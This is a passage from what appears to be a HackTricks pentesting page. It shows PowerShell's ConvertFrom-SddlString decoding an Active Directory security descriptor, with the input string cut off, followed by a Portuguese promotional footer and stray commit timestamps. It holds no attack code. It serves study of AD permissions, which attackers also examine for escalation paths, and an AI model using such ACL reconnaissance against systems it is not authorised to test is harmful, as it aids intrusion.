PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e5350144
Owner : BUILTIN\Administrators
Group : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>